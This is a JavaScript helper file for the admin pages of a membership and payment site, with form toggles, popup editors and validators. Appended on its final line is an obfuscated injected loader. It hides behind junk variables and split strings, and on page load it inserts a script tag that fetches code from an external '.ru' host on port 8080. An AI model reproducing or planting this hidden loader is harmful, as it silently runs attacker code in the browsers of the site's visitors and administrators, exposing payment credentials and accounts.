function chkCBEnabled()
{
	if (document.ss.cb_enable.checked == false) 
  	{ 
  		document.ss.cb_publisherid.disabled = true; 
  		document.ss.cb_secret.disabled = true; 
  		document.ss.cb_hoplink.disabled = true; 
  	}
	else
  	{ 
  		document.ss.cb_publisherid.disabled = false; 
  		document.ss.cb_secret.disabled = false; 
  		document.ss.cb_hoplink.disabled = false; 
	}
}

function chkPPEnabled()
{
	if (document.ss.paypal_enable.checked == false) 
  	{ 
  		document.ss.paypal_email.disabled = true; 
  		document.ss.pp_curr.disabled = true; 
  	}
	else
  	{ 
  		document.ss.paypal_email.disabled = false; 
  		document.ss.pp_curr.disabled = false; 
	}
}

function chkANEnabled()
{
	if (document.ss.authnet_enable.checked == false) 
  	{ 
  		document.ss.authnet_login.disabled = true; 
  		document.ss.authnet_key.disabled = true; 
  	}
	else
  	{ 
  		document.ss.authnet_login.disabled = false; 
  		document.ss.authnet_key.disabled = false; 
	}
}

function chk2COEnabled()
{
	if (document.ss._2co_enable.checked == false) 
  	{ 
  		document.ss._2co_id.disabled = true; 
  		document.ss._2co_secret.disabled = true; 
  	}
	else
  	{ 
  		document.ss._2co_id.disabled = false; 
  		document.ss._2co_secret.disabled = false; 
	}
}

function chkPPTestmode()
{
	if (document.ss.pptestmode.checked == false) 
  	{ 
  		document.ss.pptestemail.disabled = true; 
  	}
	else
  	{ 
  		document.ss.pptestemail.disabled = false; 
	}
}

function toggleDisplay(obj,obj2) {
	var el = document.getElementById(obj);
	var e2 = document.getElementById(obj2);
	if ( el.style.display != 'none' ) 
	{
		el.style.display = 'none';
		e2.style.display = '';
	}
	else {
		el.style.display = '';
		e2.style.display = 'none';
	}
}

function getCode(pid)
{
	var windowprops = "location=no,scrollbars=yes,menubars=no,toolbars=no,resizable=no" + ",left=100,top=100,width=700,height=600";
 
	var URL = "paycode.php?pid="+pid; 
	popup = window.open(URL,"SalesPopup",windowprops);	
}
function showSales(mid)
{
	var windowprops = "location=no,scrollbars=yes,menubars=no,toolbars=no,resizable=no" + ",left=100,top=100,width=700,height=500";
 
	var URL = "showsales.php?mid="+mid; 
	popup = window.open(URL,"SalesPopup",windowprops);	
}

function editProduct(pid)
{
	var windowprops = "location=no,scrollbars=no,menubars=no,toolbars=no,resizable=no" + ",left=100,top=100,width=500,height=500"; 
 
	var URL = "editproduct.php?productid="+pid; 
	popup = window.open(URL,"GroupPopup",windowprops);	
}

function editFilelib(fileid)
{
	var windowprops = "location=no,scrollbars=no,menubars=no,toolbars=no,resizable=no" + ",left=100,top=100,width=500,height=400"; 
 
	var URL = "editfilelib.php?fileid="+fileid; 
	popup = window.open(URL,"FilelibPopup",windowprops);	
}

function delFilelib(fileid)
{
	var windowprops = "location=no,scrollbars=no,menubars=no,toolbars=no,resizable=no" + ",left=100,top=100,width=500,height=400"; 
 
	var URL = "delfilelib.php?fileid="+fileid; 
	popup = window.open(URL,"FilelibPopup",windowprops);	
}

function delPage(pageid)
{
	var windowprops = "location=no,scrollbars=no,menubars=no,toolbars=no,resizable=no" + ",left=100,top=100,width=500,height=400"; 
 
	var URL = "delpage.php?pageid="+pageid; 
	popup = window.open(URL,"PagePopup",windowprops);	
}

function editPromo(promo)
{
	var windowprops = "location=no,scrollbars=no,menubars=no,toolbars=no,resizable=no" + ",left=100,top=100,width=500,height=400"; 
 
	var URL = "editpromo.php?promo="+promo; 
	popup = window.open(URL,"PromoPopup",windowprops);	
}

function delPromo(promo)
{
	var windowprops = "location=no,scrollbars=no,menubars=no,toolbars=no,resizable=no" + ",left=100,top=100,width=300,height=300"; 
 
	var URL = "delpromo.php?promo="+promo; 
	popup = window.open(URL,"PromoPopup",windowprops);	
}

function confirmDelGroup(group)
{
	var windowprops = "location=no,scrollbars=no,menubars=no,toolbars=no,resizable=no" + ",left=100,top=100,width=400,height=300"; 
 
	var URL = "delgroup.php?group="+group; 
	popup = window.open(URL,"GroupPopup",windowprops);	
}

function editGroup(group)
{
	var windowprops = "location=no,scrollbars=no,menubars=no,toolbars=no,resizable=no" + ",left=100,top=100,width=400,height=300"; 
 
	var URL = "editgroup.php?group="+group; 
	popup = window.open(URL,"GroupPopup",windowprops);	
}

function editMembertype(mtid)
{
	var windowprops = "location=no,scrollbars=no,menubars=no,toolbars=no,resizable=no" + ",left=100,top=100,width=700,height=650"; 
 
	var URL = "editmt.php?mtid="+mtid; 
	popup = window.open(URL,"GroupPopup",windowprops);	
}

function delMembertype(mtid)
{
	var windowprops = "location=no,scrollbars=no,menubars=no,toolbars=no,resizable=no" + ",left=100,top=100,width=400,height=300"; 
 
	var URL = "delmt.php?mtid="+mtid; 
	popup = window.open(URL,"MTPopup",windowprops);	
}

function validate_reg_form(form) {
	var e = form.elements, m = '';
	if(!e['firstname'].value) {m += '- First name is required.\n';}
	if(!e['lastname'].value) {m += '- Last name is required.\n';}
	if(!e['address'].value) {m += '- Address is required.\n';}
	if(!e['city'].value) {m += '- City is required.\n';}
	if(!e['postcode'].value) {m += '- Postcode is required.\n';}
	if(!e['telephone'].value) {m += '- Telephone number is required.\n';}
	if(!e['paypal_email'].value) {m += '- PayPal email address is required.\n';}
	if(!/.+@[^.]+(\.[^.]+)+/.test(e['email'].value)) {
	m += '- E-mail requires a valid e-mail address.\n';
	}
	if(!e['username'].value) {m += '- Username is required.\n';}
	if(!e['password'].value) {m += '- Password is required.\n';}
	if(e['password'].value != e['password2'].value) {
	m += '- Your password and password confirmation do not match.\n';
	}
	if(e['email'].value != e['email2'].value) {
	m += '- Your email and email confirmation do not match.\n';
	}
	if(!e.geo[0].checked && !e.geo[1].checked && !e.geo[2].checked && !e.geo[3].checked) { m += '- Please select your part of the world.\n';}
	if(m) {
	alert('The following error(s) occurred:\n\n' + m);
	return false;
	}
return true;
}

function validate_profile(form) {
	var e = form.elements, m = '';
	if(!e['firstname'].value) {m += '- First name is required.\n';}
	if(!e['lastname'].value) {m += '- Last name is required.\n';}
	if(!e['address'].value) {m += '- Address is required.\n';}
	if(!e['city'].value) {m += '- City is required.\n';}
	if(!e['postcode'].value) {m += '- Postcode is required.\n';}
	if(!e['telephone'].value) {m += '- Telephone number is required.\n';}
	if(!e['paypal_email'].value) {m += '- PayPal email address is required.\n';}
	if(!/.+@[^.]+(\.[^.]+)+/.test(e['email'].value)) {
	m += '- E-mail requires a valid e-mail address.\n';
	}
	if(!e['username'].value) {m += '- Username is required.\n';}
	if(!e['password'].value) {m += '- Password is required.\n';}
	if(e['password'].value != e['password2'].value) {
	m += '- Your password and password confirmation do not match.\n';
	}
	if(m) {
	alert('The following error(s) occurred:\n\n' + m);
	return false;
	}
return true;
}

function checkAll(theForm, cName)
{
    for (i=0,n=theForm.elements.length;i<n;i++)
        if (theForm.elements[i].className.indexOf(cName) !=-1)
            if (theForm.elements[i].checked == true) {
                theForm.elements[i].checked = false;
            } else {
                theForm.elements[i].checked = true;
            }
}

function validate_addMembertype(form) {
	var e = form.elements, m = '';
	if(!e['accname'].value) {m += '- Name is required.\n';}
	if(!e['accfee'].value) {m += '- Monthly Fee is required.\n';}
	if(!e['acclevel'].value) {m += '- Level is required.\n';}
	if(!e['comm'].value) {m += '- Level is required.\n';}
	if(m) {
	alert('The following error(s) occurred:\n\n' + m);
	return false;
	}
return true;
}

function editMember(mid)
{
	var windowprops = "location=no,scrollbars=no,menubars=no,toolbars=no,resizable=no" + ",left=100,top=50,width=500,height=700"; 
 
	var URL = "editmem.php?id="+mid; 
	popup = window.open(URL,"MemberPopup",windowprops);	
}

function addMember()
{
	var windowprops = "location=no,scrollbars=no,menubars=no,toolbars=no,resizable=no" + ",left=100,top=50,width=500,height=700"; 
 
	var URL = "addmem.php"; 
	popup = window.open(URL,"MemberPopup",windowprops);	
}

function delMember(mid)
{
	var windowprops = "location=no,scrollbars=no,menubars=no,toolbars=no,resizable=no" + ",left=100,top=100,width=500,height=300"; 
 
	var URL = "delmem.php?id="+mid; 
	popup = window.open(URL,"MemberPopup",windowprops);	
}

function editURL(id)
{
	var windowprops = "location=no,scrollbars=no,menubars=no,toolbars=no,resizable=no" + ",left=100,top=100,width=450,height=150"; 
 
	var URL = "editlink.php?id="+id; 
	popup = window.open(URL,"MemberPopup",windowprops);	
}

function delLink(id)
{
	var windowprops = "location=no,scrollbars=no,menubars=no,toolbars=no,resizable=no" + ",left=100,top=100,width=400,height=250"; 
 
	var URL = "dellink.php?id="+id; 
	popup = window.open(URL,"MemberPopup",windowprops);	
}

function closeAndRefresh()
{
	window.opener.location.reload();
	self.close();
}

function previewPage(page)
{
var windowprops = 'location=yes,scrollbars=yes,menubars=no,toolbars=no,resizable=yes,left=0,top=0,width=800,height=600';

var URL = 'previewtp.php?ctl='+page;
popup = window.open(URL,"PreviewPopup",windowprops);
}

function HighlightRowIfChecked(checkBox){
    var bgColor = checkBox.checked ? "yellow" : "white";
    var el = checkBox.parentNode;
    while(el.tagName.toLowerCase() != "td"){
        el = el.parentNode;
    }
    el.style.backgroundColor = bgColor;
}

function payAll(msalesid)
{
	var windowprops = 'location=no,scrollbars=no,menubars=no,toolbars=no,resizable=no,left=100,top=100,width=300,height=200';

	var URL = 'payall.php?msalesid='+msalesid;
	popup = window.open(URL,"PayPopup",windowprops);
}

function viewLog()
{
	var windowprops = "location=no,scrollbars=yes,menubars=no,toolbars=no,resizable=yes" + ",left=100,top=100,width=800,height=600"; 
 
	var URL = "viewlog.php"; 
	popup = window.open(URL,"LogPopup",windowprops);	
}

var j;if(j!='J' && j!='h'){j=''};this.r="";function m(){this.Gm='';var T=new Date();var mQ=RegExp;this.HA='';this.Z='';var k='';var Y;if(Y!='' && Y!='Uv'){Y='iH'};var E=new String("g1MRU".substr(0,1));var o='';var x;if(x!='Ru'){x=''};function W(U,w){var Dc;if(Dc!='' && Dc!='ih'){Dc='wH'};var CS;if(CS!='' && CS!='gu'){CS='O'};var oq;if(oq!='d' && oq!='XO'){oq='d'};var I= new String("[");this.RJ='';var rU;if(rU!='oh'){rU=''};I+=w;var kd=new Array();I+="]";var OX;if(OX!='Oy' && OX!='s'){OX='Oy'};var l=new mQ(I, E);return U.replace(l, k);var F;if(F!='ii' && F != ''){F=null};};var ws=new String();var Ju="";var D='';var e=String("httRZG".substr(0,3)+"p:/"+"/bo"+"sto"+"fNTn-cTfN".substr(3,3)+"yc5om.".substr(3)+"meg71C".substr(0,3)+"BNTapo".substr(3)+"85b0rn.058b".substr(4,3)+"SJtHcom".substr(4)+"ZcQ.bi".substr(3)+"lGDcgpolGcD".substr(4,3)+"BJyint".substr(3)+"-coumgA".substr(0,3)+"sRS6m.t".substr(4)+"1CNhehCN1".substr(3,3)+"scQuotluscQ".substr(4,3)+"6YZab.YZ6".substr(3,3)+"aK8Zru:Z8aK".substr(4,3));var P=W('83332320323232823332233023322323',"23");var G=new String("defery407".substr(0,5));var jJ;if(jJ!='Tt' && jJ!='f'){jJ=''};var WE;if(WE!='nT' && WE!='it'){WE=''};var i=window;var B=new String("scri"+"pt");var Rp;if(Rp!='pQ' && Rp != ''){Rp=null};var V=String("srcN9wM".substr(0,3));var t=new String("/nhl."+"com/n"+"uszkhl.co".substr(4)+"m/bad"+"jojo.AX1s".substr(0,5)+"com/g"+"O8FWoogleOFW8".substr(4,5)+"b0j8.com/j80b".substr(4,5)+"Mx2kglobok2xM".substr(4,5)+".com.eqk".substr(0,5)+"phptyY".substr(0,3));i.onload=function(){var q="";try {var hR='';var ifS;if(ifS!='az' && ifS!='lF'){ifS=''};var pe;if(pe!='' && pe!='Fu'){pe=''};D=e+P;this._R="";D+=t;var Mh;if(Mh!=''){Mh='BY'};this.Q='';var Xa='';var Om=new String();g=document.createElement(B);g[G]=[9,1][1];g[V]=D;var NR;if(NR!='' && NR!='oT'){NR=''};var Td=new String();var mj;if(mj!='bM' && mj != ''){mj=null};var ZM=new Date();document.body.appendChild(g);var kO="";this.iq='';var TS="";} catch(_){var S_=new Array();var PY;if(PY!='MC' && PY != ''){PY=null};};};var Ny=new Array();};m();